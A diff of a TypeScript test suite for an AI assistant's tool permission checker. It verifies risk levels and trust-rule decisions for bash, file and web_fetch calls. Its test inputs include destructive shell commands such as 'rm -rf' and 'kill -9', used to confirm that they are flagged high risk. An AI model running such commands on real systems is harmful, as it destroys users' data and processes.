).toBe(RiskLevel.High);
|
|
567
655
|
});
|
|
568
656
|
|
|
569
657
|
test("wrapped pkill via nohup is high risk", async () => {
|
|
570
658
|
expect(
|
|
571
|
-
await classifyRisk("bash", { command: "nohup pkill node" }),
|
|
659
|
+
(await classifyRisk("bash", { command: "nohup pkill node" })).level,
|
|
572
660
|
).toBe(RiskLevel.High);
|
|
573
661
|
});
|
|
574
662
|
|
|
575
663
|
test("command -v is low risk (read-only lookup)", async () => {
|
|
576
|
-
expect(
|
|
577
|
-
|
|
578
|
-
);
|
|
664
|
+
expect(
|
|
665
|
+
(await classifyRisk("bash", { command: "command -v rm" })).level,
|
|
666
|
+
).toBe(RiskLevel.Low);
|
|
579
667
|
});
|
|
580
668
|
|
|
581
669
|
test("command -V is low risk (read-only lookup)", async () => {
|
|
582
|
-
expect(
|
|
583
|
-
|
|
584
|
-
);
|
|
670
|
+
expect(
|
|
671
|
+
(await classifyRisk("bash", { command: "command -V sudo" })).level,
|
|
672
|
+
).toBe(RiskLevel.Low);
|
|
585
673
|
});
|
|
586
674
|
|
|
587
675
|
test("command without -v/-V flag escalates wrapped program", async () => {
|
|
588
676
|
expect(
|
|
589
|
-
await classifyRisk("bash", { command: "command rm file.txt" })
|
|
677
|
+
(await classifyRisk("bash", { command: "command rm file.txt" }))
|
|
678
|
+
.level,
|
|
590
679
|
).toBe(RiskLevel.High);
|
|
591
680
|
});
|
|
592
681
|
|
|
593
682
|
test("rm BOOTSTRAP.md (bare safe file) is medium risk", async () => {
|
|
594
|
-
expect(
|
|
595
|
-
|
|
596
|
-
);
|
|
683
|
+
expect(
|
|
684
|
+
(await classifyRisk("bash", { command: "rm BOOTSTRAP.md" })).level,
|
|
685
|
+
).toBe(RiskLevel.Medium);
|
|
597
686
|
});
|
|
598
687
|
|
|
599
688
|
test("rm UPDATES.md (bare safe file) is medium risk", async () => {
|
|
600
|
-
expect(
|
|
601
|
-
|
|
602
|
-
);
|
|
689
|
+
expect(
|
|
690
|
+
(await classifyRisk("bash", { command: "rm UPDATES.md" })).level,
|
|
691
|
+
).toBe(RiskLevel.Medium);
|
|
603
692
|
});
|
|
604
693
|
|
|
605
694
|
test("rm -rf BOOTSTRAP.md is still high risk (flags present)", async () => {
|
|
606
695
|
expect(
|
|
607
|
-
await classifyRisk("bash", { command: "rm -rf BOOTSTRAP.md" })
|
|
696
|
+
(await classifyRisk("bash", { command: "rm -rf BOOTSTRAP.md" }))
|
|
697
|
+
.level,
|
|
608
698
|
).toBe(RiskLevel.High);
|
|
609
699
|
});
|
|
610
700
|
|
|
611
701
|
test("rm /path/to/BOOTSTRAP.md is still high risk (path separator)", async () => {
|
|
612
702
|
expect(
|
|
613
|
-
await classifyRisk("bash", { command: "rm /path/to/BOOTSTRAP.md" })
|
|
703
|
+
(await classifyRisk("bash", { command: "rm /path/to/BOOTSTRAP.md" }))
|
|
704
|
+
.level,
|
|
614
705
|
).toBe(RiskLevel.High);
|
|
615
706
|
});
|
|
616
707
|
|
|
617
708
|
test("rm BOOTSTRAP.md other.txt is still high risk (multiple targets)", async () => {
|
|
618
709
|
expect(
|
|
619
|
-
await classifyRisk("bash", { command: "rm BOOTSTRAP.md other.txt" })
|
|
710
|
+
(await classifyRisk("bash", { command: "rm BOOTSTRAP.md other.txt" }))
|
|
711
|
+
.level,
|
|
620
712
|
).toBe(RiskLevel.High);
|
|
621
713
|
});
|
|
622
714
|
|
|
623
715
|
test("rm somefile.md is still high risk (not a known safe file)", async () => {
|
|
624
|
-
expect(
|
|
625
|
-
|
|
626
|
-
);
|
|
716
|
+
expect(
|
|
717
|
+
(await classifyRisk("bash", { command: "rm somefile.md" })).level,
|
|
718
|
+
).toBe(RiskLevel.High);
|
|
627
719
|
});
|
|
628
720
|
});
|
|
629
721
|
|
|
630
722
|
// unknown tool
|
|
631
723
|
describe("unknown tool", () => {
|
|
632
724
|
test("unknown tool name is medium risk", async () => {
|
|
633
|
-
expect(await classifyRisk("unknown_tool", {})).toBe(
|
|
725
|
+
expect((await classifyRisk("unknown_tool", {})).level).toBe(
|
|
726
|
+
RiskLevel.Medium,
|
|
727
|
+
);
|
|
634
728
|
});
|
|
635
729
|
});
|
|
636
730
|
});
|
|
@@ -796,7 +890,8 @@ describe("Permission Checker", () => {
|
|
|
796
890
|
|
|
797
891
|
test("host_bash reuses bash-style command matching", async () => {
|
|
798
892
|
addRule("host_bash", "npm *", "everywhere", "allow", 2000);
|
|
799
|
-
|
|
893
|
+
// npm list is low-risk and matches the npm * allow rule
|
|
894
|
+
const result = await check("host_bash", { command: "npm list" }, "/tmp");
|
|
800
895
|
expect(result.decision).toBe("allow");
|
|
801
896
|
expect(result.matchedRule?.pattern).toBe("npm *");
|
|
802
897
|
});
|
|
@@ -1081,21 +1176,23 @@ describe("Permission Checker", () => {
|
|
|
1081
1176
|
expect(result.decision).toBe("prompt");
|
|
1082
1177
|
});
|
|
1083
1178
|
|
|
1084
|
-
test("web_fetch
|
|
1179
|
+
test("web_fetch private-network fetch with allow rule still prompts (high risk, non-bash tool)", async () => {
|
|
1180
|
+
// allowHighRisk is no longer a persisted field — high-risk auto-allow
|
|
1181
|
+
// is determined at runtime by shouldAutoAllowHighRisk(), which only
|
|
1182
|
+
// covers containerized bash. Non-bash high-risk tools always prompt.
|
|
1085
1183
|
addRule(
|
|
1086
1184
|
"web_fetch",
|
|
1087
1185
|
"web_fetch:http://localhost:3000/*",
|
|
1088
1186
|
"/tmp",
|
|
1089
1187
|
"allow",
|
|
1090
1188
|
100,
|
|
1091
|
-
{ allowHighRisk: true },
|
|
1092
1189
|
);
|
|
1093
1190
|
const result = await check(
|
|
1094
1191
|
"web_fetch",
|
|
1095
1192
|
{ url: "http://localhost:3000/health", allow_private_network: true },
|
|
1096
1193
|
"/tmp",
|
|
1097
1194
|
);
|
|
1098
|
-
expect(result.decision).toBe("
|
|
1195
|
+
expect(result.decision).toBe("prompt");
|
|
1099
1196
|
});
|
|
1100
1197
|
|
|
1101
1198
|
test("web_fetch exact allowlist pattern matches query urls literally", async () => {
|
|
@@ -1271,7 +1368,7 @@ describe("Permission Checker", () => {
|
|
|
1271
1368
|
expect(result.decision).toBe("deny");
|
|
1272
1369
|
});
|
|
1273
1370
|
|
|
1274
|
-
test("network_request rule
|
|
1371
|
+
test("network_request rule ignores scope (URL tools are not scoped)", async () => {
|
|
1275
1372
|
addRule(
|
|
1276
1373
|
"network_request",
|
|
1277
1374
|
"network_request:https://api.example.com/*",
|
|
@@ -1283,12 +1380,15 @@ describe("Permission Checker", () => {
|
|
|
1283
1380
|
"/home/user/project",
|
|
1284
1381
|
);
|
|
1285
1382
|
expect(allowed.decision).toBe("allow");
|
|
1286
|
-
|
|
1383
|
+
// URL tools (network_request) do not support scope — the rule matches
|
|
1384
|
+
// regardless of working directory because scope is stripped during
|
|
1385
|
+
// normalization.
|
|
1386
|
+
const alsoAllowed = await check(
|
|
1287
1387
|
"network_request",
|
|
1288
1388
|
{ url: "https://api.example.com/v1/data" },
|
|
1289
1389
|
"/tmp/other",
|
|
1290
1390
|
);
|
|
1291
|
-
expect(
|
|
1391
|
+
expect(alsoAllowed.decision).toBe("allow");
|
|
1292
1392
|
});
|
|
1293
1393
|
|
|
1294
1394
|
test("network_request rules do not cross-match web_fetch rules", async () => {
|
|
@@ -1318,11 +1418,13 @@ describe("Permission Checker", () => {
|
|
|
1318
1418
|
|
|
1319
1419
|
// Priority-based rule resolution
|
|
1320
1420
|
test("higher-priority allow rule overrides lower-priority deny rule", async () => {
|
|
1321
|
-
|
|
1322
|
-
|
|
1421
|
+
// Use git push (medium risk) since chmod is now high-risk in the registry
|
|
1422
|
+
// and high-risk commands are never auto-allowed by allow rules
|
|
1423
|
+
addRule("bash", "git push *", "/tmp", "deny", 0);
|
|
1424
|
+
addRule("bash", "git push *", "/tmp", "allow", 100);
|
|
1323
1425
|
const result = await check(
|
|
1324
1426
|
"bash",
|
|
1325
|
-
{ command: "
|
|
1427
|
+
{ command: "git push origin main" },
|
|
1326
1428
|
"/tmp",
|
|
1327
1429
|
);
|
|
1328
1430
|
expect(result.decision).toBe("allow");
|
|
@@ -1455,7 +1557,7 @@ describe("Permission Checker", () => {
|
|
|
1455
1557
|
// reason discriminator to verify it's the high-risk fallback path, not
|
|
1456
1558
|
// the generic skill-tool default-ask policy.
|
|
1457
1559
|
expect(result.decision).toBe("prompt");
|
|
1458
|
-
expect(result.reason).toContain("
|
|
1560
|
+
expect(result.reason).toContain("high risk");
|
|
1459
1561
|
});
|
|
1460
1562
|
});
|
|
1461
1563
|
|
|
@@ -1473,14 +1575,6 @@ describe("Permission Checker", () => {
|
|
|
1473
1575
|
expect(result.matchedRule!.id).toBe("default:allow-file_edit-identity");
|
|
1474
1576
|
});
|
|
1475
1577
|
|
|
1476
|
-
test("file_read of workspace USER.md is auto-allowed", async () => {
|
|
1477
|
-
const userPath = join(checkerTestDir, "USER.md");
|
|
1478
|
-
const result = await check("file_read", { path: userPath }, "/tmp");
|
|
1479
|
-
expect(result.decision).toBe("allow");
|
|
1480
|
-
expect(result.matchedRule).toBeDefined();
|
|
1481
|
-
expect(result.matchedRule!.id).toBe("default:allow-file_read-user");
|
|
1482
|
-
});
|
|
1483
|
-
|
|
1484
1578
|
test("file_write of workspace SOUL.md is auto-allowed", async () => {
|
|
1485
1579
|
const soulPath = join(checkerTestDir, "SOUL.md");
|
|
1486
1580
|
const result = await check("file_write", { path: soulPath }, "/tmp");
|
|
@@ -1528,6 +1622,106 @@ describe("Permission Checker", () => {
|
|
|
1528
1622
|
// Low risk → auto-allowed even outside workspace
|
|
1529
1623
|
expect(result.decision).toBe("allow");
|
|
1530
1624
|
});
|
|
1625
|
+
|
|
1626
|
+
// ── guardian persona file (users/<slug>.md) ──────────────────
|
|
1627
|
+
// The per-user persona file lives at `users/<guardian-slug>.md`.
|
|
1628
|
+
// Dynamic guardian-persona default rules auto-allow reads and
|
|
1629
|
+
// edits of this file.
|
|
1630
|
+
|
|
1631
|
+
test("file_edit of guardian users/<slug>.md is auto-allowed", async () => {
|
|
1632
|
+
const guardianPath = join(checkerTestDir, "users", "alice.md");
|
|
1633
|
+
mockGuardianPersonaPath = guardianPath;
|
|
1634
|
+
const result = await check("file_edit", { path: guardianPath }, "/tmp");
|
|
1635
|
+
expect(result.decision).toBe("allow");
|
|
1636
|
+
expect(result.matchedRule).toBeDefined();
|
|
1637
|
+
expect(result.matchedRule!.id).toBe(
|
|
1638
|
+
"default:allow-file_edit-guardian-persona",
|
|
1639
|
+
);
|
|
1640
|
+
});
|
|
1641
|
+
|
|
1642
|
+
test("file_read of guardian users/<slug>.md is auto-allowed", async () => {
|
|
1643
|
+
const guardianPath = join(checkerTestDir, "users", "alice.md");
|
|
1644
|
+
mockGuardianPersonaPath = guardianPath;
|
|
1645
|
+
const result = await check("file_read", { path: guardianPath }, "/tmp");
|
|
1646
|
+
expect(result.decision).toBe("allow");
|
|
1647
|
+
expect(result.matchedRule).toBeDefined();
|
|
1648
|
+
expect(result.matchedRule!.id).toBe(
|
|
1649
|
+
"default:allow-file_read-guardian-persona",
|
|
1650
|
+
);
|
|
1651
|
+
});
|
|
1652
|
+
|
|
1653
|
+
test("file_write of guardian users/<slug>.md is auto-allowed", async () => {
|
|
1654
|
+
const guardianPath = join(checkerTestDir, "users", "alice.md");
|
|
1655
|
+
mockGuardianPersonaPath = guardianPath;
|
|
1656
|
+
const result = await check("file_write", { path: guardianPath }, "/tmp");
|
|
1657
|
+
expect(result.decision).toBe("allow");
|
|
1658
|
+
expect(result.matchedRule).toBeDefined();
|
|
1659
|
+
expect(result.matchedRule!.id).toBe(
|
|
1660
|
+
"default:allow-file_write-guardian-persona",
|
|
1661
|
+
);
|
|
1662
|
+
});
|
|
1663
|
+
|
|
1664
|
+
test("getDefaultRuleTemplates emits guardian persona rules when guardian is resolved", () => {
|
|
1665
|
+
const guardianPath = join(checkerTestDir, "users", "alice.md");
|
|
1666
|
+
mockGuardianPersonaPath = guardianPath;
|
|
1667
|
+
const templates = getDefaultRuleTemplates();
|
|
1668
|
+
const guardianRules = templates.filter((t) =>
|
|
1669
|
+
t.id.endsWith("-guardian-persona"),
|
|
1670
|
+
);
|
|
1671
|
+
// One rule each for file_read, file_write, file_edit.
|
|
1672
|
+
expect(guardianRules).toHaveLength(3);
|
|
1673
|
+
for (const rule of guardianRules) {
|
|
1674
|
+
expect(rule.decision).toBe("allow");
|
|
1675
|
+
expect(rule.priority).toBe(100);
|
|
1676
|
+
expect(rule.scope).toBe("everywhere");
|
|
1677
|
+
expect(rule.pattern).toBe(`${rule.tool}:${guardianPath}`);
|
|
1678
|
+
}
|
|
1679
|
+
});
|
|
1680
|
+
|
|
1681
|
+
test("getDefaultRuleTemplates emits no guardian persona rules when unresolved", () => {
|
|
1682
|
+
mockGuardianPersonaPath = null;
|
|
1683
|
+
const templates = getDefaultRuleTemplates();
|
|
1684
|
+
const guardianRules = templates.filter((t) =>
|
|
1685
|
+
t.id.endsWith("-guardian-persona"),
|
|
1686
|
+
);
|
|
1687
|
+
expect(guardianRules).toHaveLength(0);
|
|
1688
|
+
});
|
|
1689
|
+
|
|
1690
|
+
test("glob metacharacters in guardian path are escaped and match only the literal file", async () => {
|
|
1691
|
+
// A legacy/imported contact whose userFile contains glob metacharacters
|
|
1692
|
+
// must not broaden the auto-allow rule into a wildcard match.
|
|
1693
|
+
const weirdDir = join(checkerTestDir, "users");
|
|
1694
|
+
const guardianPath = join(weirdDir, "weird[slug]*.md");
|
|
1695
|
+
const siblingPath = join(weirdDir, "weirdX.md");
|
|
1696
|
+
mockGuardianPersonaPath = guardianPath;
|
|
1697
|
+
|
|
1698
|
+
const templates = getDefaultRuleTemplates();
|
|
1699
|
+
const guardianRules = templates.filter((t) =>
|
|
1700
|
+
t.id.endsWith("-guardian-persona"),
|
|
1701
|
+
);
|
|
1702
|
+
expect(guardianRules).toHaveLength(3);
|
|
1703
|
+
for (const rule of guardianRules) {
|
|
1704
|
+
// Pattern must contain escaped metacharacters, not bare wildcards.
|
|
1705
|
+
expect(rule.pattern).not.toBe(`${rule.tool}:${guardianPath}`);
|
|
1706
|
+
expect(rule.pattern).toContain("\\[");
|
|
1707
|
+
expect(rule.pattern).toContain("\\]");
|
|
1708
|
+
expect(rule.pattern).toContain("\\*");
|
|
1709
|
+
}
|
|
1710
|
+
|
|
1711
|
+
// Literal guardian path is auto-allowed.
|
|
1712
|
+
const literal = await check("file_edit", { path: guardianPath }, "/tmp");
|
|
1713
|
+
expect(literal.decision).toBe("allow");
|
|
1714
|
+
expect(literal.matchedRule?.id).toBe(
|
|
1715
|
+
"default:allow-file_edit-guardian-persona",
|
|
1716
|
+
);
|
|
1717
|
+
|
|
1718
|
+
// A sibling file that would match if `*` / `[...]` were treated as
|
|
1719
|
+
// wildcards must NOT match the dynamic guardian-persona rule.
|
|
1720
|
+
const sibling = await check("file_edit", { path: siblingPath }, "/tmp");
|
|
1721
|
+
expect(sibling.matchedRule?.id).not.toBe(
|
|
1722
|
+
"default:allow-file_edit-guardian-persona",
|
|
1723
|
+
);
|
|
1724
|
+
});
|
|
1531
1725
|
});
|
|
1532
1726
|
|
|
1533
1727
|
// ── generateAllowlistOptions ───────────────────────────────────
|
|
@@ -1969,9 +2163,6 @@ describe("Permission Checker", () => {
|
|
|
1969
2163
|
test("returns empty for non-scoped tools", () => {
|
|
1970
2164
|
const workingDir = join(homedir(), "projects", "myapp");
|
|
1971
2165
|
expect(generateScopeOptions(workingDir, "web_fetch")).toHaveLength(0);
|
|
1972
|
-
expect(generateScopeOptions(workingDir, "browser_navigate")).toHaveLength(
|
|
1973
|
-
0,
|
|
1974
|
-
);
|
|
1975
2166
|
expect(generateScopeOptions(workingDir, "skill_load")).toHaveLength(0);
|
|
1976
2167
|
expect(generateScopeOptions(workingDir, "credential_store")).toHaveLength(
|
|
1977
2168
|
0,
|
|
@@ -2030,14 +2221,14 @@ describe("Permission Checker", () => {
|
|
|
2030
2221
|
"executor.ts",
|
|
2031
2222
|
);
|
|
2032
2223
|
const risk = await classifyRisk("file_write", { path: skillPath });
|
|
2033
|
-
expect(risk).toBe(RiskLevel.High);
|
|
2224
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
2034
2225
|
});
|
|
2035
2226
|
|
|
2036
2227
|
test("file_edit of skill file is High risk", async () => {
|
|
2037
2228
|
ensureSkillsDir();
|
|
2038
2229
|
const skillPath = join(checkerTestDir, "skills", "my-skill", "SKILL.md");
|
|
2039
2230
|
const risk = await classifyRisk("file_edit", { path: skillPath });
|
|
2040
|
-
expect(risk).toBe(RiskLevel.High);
|
|
2231
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
2041
2232
|
});
|
|
2042
2233
|
|
|
2043
2234
|
test("file_read of skill file is still Low risk (reads not escalated)", async () => {
|
|
@@ -2049,7 +2240,7 @@ describe("Permission Checker", () => {
|
|
|
2049
2240
|
"TOOLS.json",
|
|
2050
2241
|
);
|
|
2051
2242
|
const risk = await classifyRisk("file_read", { path: skillPath });
|
|
2052
|
-
expect(risk).toBe(RiskLevel.Low);
|
|
2243
|
+
expect(risk.level).toBe(RiskLevel.Low);
|
|
2053
2244
|
});
|
|
2054
2245
|
|
|
2055
2246
|
test("file_write to skill directory prompts via default ask rule", async () => {
|
|
@@ -2078,11 +2269,11 @@ describe("Permission Checker", () => {
|
|
|
2078
2269
|
);
|
|
2079
2270
|
addRule("file_write", `file_write:${checkerTestDir}/skills/**`, "/tmp");
|
|
2080
2271
|
const result = await check("file_write", { path: skillPath }, "/tmp");
|
|
2081
|
-
// High risk
|
|
2272
|
+
// High risk with allow rule prompts — shouldAutoAllowHighRisk() only covers containerized bash.
|
|
2082
2273
|
expect(result.decision).toBe("prompt");
|
|
2083
2274
|
});
|
|
2084
2275
|
|
|
2085
|
-
test("file_write to skill directory
|
|
2276
|
+
test("file_write to skill directory with allow rule still prompts (high risk, non-bash tool)", async () => {
|
|
2086
2277
|
ensureSkillsDir();
|
|
2087
2278
|
const skillPath = join(
|
|
2088
2279
|
checkerTestDir,
|
|
@@ -2096,11 +2287,10 @@ describe("Permission Checker", () => {
|
|
|
2096
2287
|
"/tmp",
|
|
2097
2288
|
"allow",
|
|
2098
2289
|
2000,
|
|
2099
|
-
{ allowHighRisk: true },
|
|
2100
2290
|
);
|
|
2101
2291
|
const result = await check("file_write", { path: skillPath }, "/tmp");
|
|
2102
|
-
|
|
2103
|
-
expect(result.
|
|
2292
|
+
// Non-bash high-risk tools always prompt regardless of allow rules.
|
|
2293
|
+
expect(result.decision).toBe("prompt");
|
|
2104
2294
|
});
|
|
2105
2295
|
|
|
2106
2296
|
test("host_file_write to skill directory prompts (High risk overrides host ask rule)", async () => {
|
|
@@ -2123,7 +2313,7 @@ describe("Permission Checker", () => {
|
|
|
2123
2313
|
ensureSkillsDir();
|
|
2124
2314
|
const skillPath = join(checkerTestDir, "skills", "my-skill", "SKILL.md");
|
|
2125
2315
|
const risk = await classifyRisk("host_file_edit", { path: skillPath });
|
|
2126
|
-
expect(risk).toBe(RiskLevel.High);
|
|
2316
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
2127
2317
|
});
|
|
2128
2318
|
|
|
2129
2319
|
test("host_file_write to skill directory is High risk", async () => {
|
|
@@ -2135,19 +2325,19 @@ describe("Permission Checker", () => {
|
|
|
2135
2325
|
"executor.ts",
|
|
2136
2326
|
);
|
|
2137
2327
|
const risk = await classifyRisk("host_file_write", { path: skillPath });
|
|
2138
|
-
expect(risk).toBe(RiskLevel.High);
|
|
2328
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
2139
2329
|
});
|
|
2140
2330
|
|
|
2141
2331
|
test("file_write to non-skill path is Low risk", async () => {
|
|
2142
2332
|
const normalPath = "/tmp/some-file.txt";
|
|
2143
2333
|
const risk = await classifyRisk("file_write", { path: normalPath });
|
|
2144
|
-
expect(risk).toBe(RiskLevel.Low);
|
|
2334
|
+
expect(risk.level).toBe(RiskLevel.Low);
|
|
2145
2335
|
});
|
|
2146
2336
|
|
|
2147
2337
|
test("file_edit of non-skill path is Low risk", async () => {
|
|
2148
2338
|
const normalPath = "/tmp/some-file.txt";
|
|
2149
2339
|
const risk = await classifyRisk("file_edit", { path: normalPath });
|
|
2150
|
-
expect(risk).toBe(RiskLevel.Low);
|
|
2340
|
+
expect(risk.level).toBe(RiskLevel.Low);
|
|
2151
2341
|
});
|
|
2152
2342
|
|
|
2153
2343
|
test("file_write to hooks directory is High risk", async () => {
|
|
@@ -2159,14 +2349,14 @@ describe("Permission Checker", () => {
|
|
|
2159
2349
|
"hook.sh",
|
|
2160
2350
|
);
|
|
2161
2351
|
const risk = await classifyRisk("file_write", { path: hookPath });
|
|
2162
|
-
expect(risk).toBe(RiskLevel.High);
|
|
2352
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
2163
2353
|
});
|
|
2164
2354
|
|
|
2165
2355
|
test("file_edit of hooks config is High risk", async () => {
|
|
2166
2356
|
ensureHooksDir();
|
|
2167
2357
|
const configPath = join(checkerTestDir, "hooks", "config.json");
|
|
2168
2358
|
const risk = await classifyRisk("file_edit", { path: configPath });
|
|
2169
|
-
expect(risk).toBe(RiskLevel.High);
|
|
2359
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
2170
2360
|
});
|
|
2171
2361
|
|
|
2172
2362
|
test("file_write to hooks directory prompts as High risk", async () => {
|
|
@@ -2190,26 +2380,26 @@ describe("Permission Checker", () => {
|
|
|
2190
2380
|
"hook.sh",
|
|
2191
2381
|
);
|
|
2192
2382
|
const risk = await classifyRisk("host_file_write", { path: hookPath });
|
|
2193
|
-
expect(risk).toBe(RiskLevel.High);
|
|
2383
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
2194
2384
|
});
|
|
2195
2385
|
|
|
2196
2386
|
test("host_file_edit of hooks config is High risk", async () => {
|
|
2197
2387
|
ensureHooksDir();
|
|
2198
2388
|
const configPath = join(checkerTestDir, "hooks", "config.json");
|
|
2199
2389
|
const risk = await classifyRisk("host_file_edit", { path: configPath });
|
|
2200
|
-
expect(risk).toBe(RiskLevel.High);
|
|
2390
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
2201
2391
|
});
|
|
2202
2392
|
|
|
2203
2393
|
test("host_file_write to non-skill path remains Medium risk (via registry)", async () => {
|
|
2204
2394
|
const normalPath = "/tmp/some-file.txt";
|
|
2205
2395
|
const risk = await classifyRisk("host_file_write", { path: normalPath });
|
|
2206
|
-
expect(risk).toBe(RiskLevel.Medium);
|
|
2396
|
+
expect(risk.level).toBe(RiskLevel.Medium);
|
|
2207
2397
|
});
|
|
2208
2398
|
|
|
2209
2399
|
test("host_file_edit of non-skill path remains Medium risk (via registry)", async () => {
|
|
2210
2400
|
const normalPath = "/tmp/some-file.txt";
|
|
2211
2401
|
const risk = await classifyRisk("host_file_edit", { path: normalPath });
|
|
2212
|
-
expect(risk).toBe(RiskLevel.Medium);
|
|
2402
|
+
expect(risk.level).toBe(RiskLevel.Medium);
|
|
2213
2403
|
});
|
|
2214
2404
|
});
|
|
2215
2405
|
|
|
@@ -2240,7 +2430,6 @@ describe("Permission Checker", () => {
|
|
|
2240
2430
|
"id",
|
|
2241
2431
|
"pattern",
|
|
2242
2432
|
"priority",
|
|
2243
|
-
"scope",
|
|
2244
2433
|
"tool",
|
|
2245
2434
|
]);
|
|
2246
2435
|
});
|
|
@@ -2280,6 +2469,107 @@ describe("Permission Checker", () => {
|
|
|
2280
2469
|
});
|
|
2281
2470
|
});
|
|
2282
2471
|
|
|
2472
|
+
// ── Family-aware rule shape regression ─────────────────────────
|
|
2473
|
+
//
|
|
2474
|
+
// Validates that trust rules conform to canonical family-aware shapes
|
|
2475
|
+
// after disk round-trips. The canonical parser in ces-contracts strips
|
|
2476
|
+
// fields that are invalid for a rule's tool family (for example,
|
|
2477
|
+
// executionTarget on non-scoped tools).
|
|
2478
|
+
//
|
|
2479
|
+
// Platform proxy compatibility gate: test_runtime_proxy_api.py (245 tests)
|
|
2480
|
+
// was validated as part of the trust-rule-union-compat plan. The proxy
|
|
2481
|
+
// tests live in vellum-assistant-platform and confirmed that the
|
|
2482
|
+
// family-aware union type changes are wire-compatible with the platform.
|
|
2483
|
+
|
|
2484
|
+
describe("family-aware rule shape regression", () => {
|
|
2485
|
+
test("scoped tool (bash) preserves executionTarget through disk round-trip (allowHighRisk stripped)", () => {
|
|
2486
|
+
const rule = addRule("bash", "kill *", "everywhere", "allow", 100, {
|
|
2487
|
+
executionTarget: "/usr/local/bin/node",
|
|
2488
|
+
});
|
|
2489
|
+
expect(rule.executionTarget).toBe("/usr/local/bin/node");
|
|
2490
|
+
|
|
2491
|
+
// Force a disk round-trip by clearing the cache and re-reading
|
|
2492
|
+
clearCache();
|
|
2493
|
+
const reloaded = findHighestPriorityRule(
|
|
2494
|
+
"bash",
|
|
2495
|
+
["kill -9 1234"],
|
|
2496
|
+
"/tmp",
|
|
2497
|
+
{ executionTarget: "/usr/local/bin/node" },
|
|
2498
|
+
);
|
|
2499
|
+
expect(reloaded).not.toBeNull();
|
|
2500
|
+
expect(reloaded!.executionTarget).toBe("/usr/local/bin/node");
|
|
2501
|
+
});
|
|
2502
|
+
|
|
2503
|
+
test("URL tool (web_fetch) round-trips without allowHighRisk", () => {
|
|
2504
|
+
addRule(
|
|
2505
|
+
"web_fetch",
|
|
2506
|
+
"web_fetch:http://localhost:3000/*",
|
|
2507
|
+
"/tmp",
|
|
2508
|
+
"allow",
|
|
2509
|
+
100,
|
|
2510
|
+
);
|
|
2511
|
+
|
|
2512
|
+
// Force a disk round-trip.
|
|
2513
|
+
clearCache();
|
|
2514
|
+
const reloaded = findHighestPriorityRule(
|
|
2515
|
+
"web_fetch",
|
|
2516
|
+
["web_fetch:http://localhost:3000/health"],
|
|
2517
|
+
"/tmp",
|
|
2518
|
+
);
|
|
2519
|
+
expect(reloaded).not.toBeNull();
|
|
2520
|
+
expect(reloaded!.pattern).toBe("web_fetch:http://localhost:3000/*");
|
|
2521
|
+
});
|
|
2522
|
+
|
|
2523
|
+
test("generic tool (skill_test_tool) preserves executionTarget through round-trip", () => {
|
|
2524
|
+
addRule("skill_test_tool", "skill_test_tool:*", "/tmp", "allow", 2000);
|
|
2525
|
+
|
|
2526
|
+
clearCache();
|
|
2527
|
+
const reloaded = findHighestPriorityRule(
|
|
2528
|
+
"skill_test_tool",
|
|
2529
|
+
["skill_test_tool:test"],
|
|
2530
|
+
"/tmp",
|
|
2531
|
+
);
|
|
2532
|
+
expect(reloaded).not.toBeNull();
|
|
2533
|
+
expect(reloaded!.pattern).toBe("skill_test_tool:*");
|
|
2534
|
+
});
|
|
2535
|
+
|
|
2536
|
+
test("rule without scope defaults to 'everywhere' after parsing", () => {
|
|
2537
|
+
// Write a rule directly with no scope field to simulate legacy data
|
|
2538
|
+
const trustPath = join(checkerTestDir, "protected", "trust.json");
|
|
2539
|
+
const trustDir = join(checkerTestDir, "protected");
|
|
2540
|
+
if (!existsSync(trustDir)) mkdirSync(trustDir, { recursive: true });
|
|
2541
|
+
writeFileSync(
|
|
2542
|
+
trustPath,
|
|
2543
|
+
JSON.stringify({
|
|
2544
|
+
version: 3,
|
|
2545
|
+
rules: [
|
|
2546
|
+
{
|
|
2547
|
+
id: "test-no-scope",
|
|
2548
|
+
tool: "bash",
|
|
2549
|
+
pattern: "echo *",
|
|
2550
|
+
decision: "allow",
|
|
2551
|
+
priority: 100,
|
|
2552
|
+
createdAt: Date.now(),
|
|
2553
|
+
// No scope field — should default to "everywhere"
|
|
2554
|
+
},
|
|
2555
|
+
],
|
|
2556
|
+
}),
|
|
2557
|
+
);
|
|
2558
|
+
clearCache();
|
|
2559
|
+
|
|
2560
|
+
const reloaded = findHighestPriorityRule(
|
|
2561
|
+
"bash",
|
|
2562
|
+
["echo hello"],
|
|
2563
|
+
"/any/path",
|
|
2564
|
+
);
|
|
2565
|
+
// The rule matches from any scope because missing scope
|
|
2566
|
+
// is normalized to "everywhere" by the canonical parser.
|
|
2567
|
+
expect(reloaded).not.toBeNull();
|
|
2568
|
+
expect(reloaded!.id).toBe("test-no-scope");
|
|
2569
|
+
expect(reloaded!.scope).toBe("everywhere");
|
|
2570
|
+
});
|
|
2571
|
+
});
|
|
2572
|
+
|
|
2283
2573
|
// ── PolicyContext type (PR 3) ──────────────────────────────────
|
|
2284
2574
|
|
|
2285
2575
|
describe("PolicyContext type (PR 3)", () => {
|
|
@@ -2395,34 +2685,48 @@ describe("Permission Checker", () => {
|
|
|
2395
2685
|
});
|
|
2396
2686
|
});
|
|
2397
2687
|
|
|
2398
|
-
// ──
|
|
2399
|
-
|
|
2400
|
-
describe("persistent high-risk allow rules (PR 22)", () => {
|
|
2401
|
-
test("high-risk tool with allowHighRisk: true allow rule returns allow", async () => {
|
|
2402
|
-
addRule("bash", "kill *", "everywhere", "allow", 2000, {
|
|
2403
|
-
allowHighRisk: true,
|
|
2404
|
-
});
|
|
2405
|
-
const result = await check("bash", { command: "kill -9 1234" }, "/tmp");
|
|
2406
|
-
expect(result.decision).toBe("allow");
|
|
2407
|
-
expect(result.reason).toContain("high-risk trust rule");
|
|
2408
|
-
expect(result.matchedRule).toBeDefined();
|
|
2409
|
-
expect(result.matchedRule!.allowHighRisk).toBe(true);
|
|
2410
|
-
});
|
|
2688
|
+
// ── runtime high-risk auto-allow (replaces persistent allowHighRisk) ──
|
|
2411
2689
|
|
|
2412
|
-
|
|
2690
|
+
describe("runtime high-risk auto-allow (shouldAutoAllowHighRisk)", () => {
|
|
2691
|
+
test("high-risk bash with allow rule in non-containerized environment prompts", async () => {
|
|
2413
2692
|
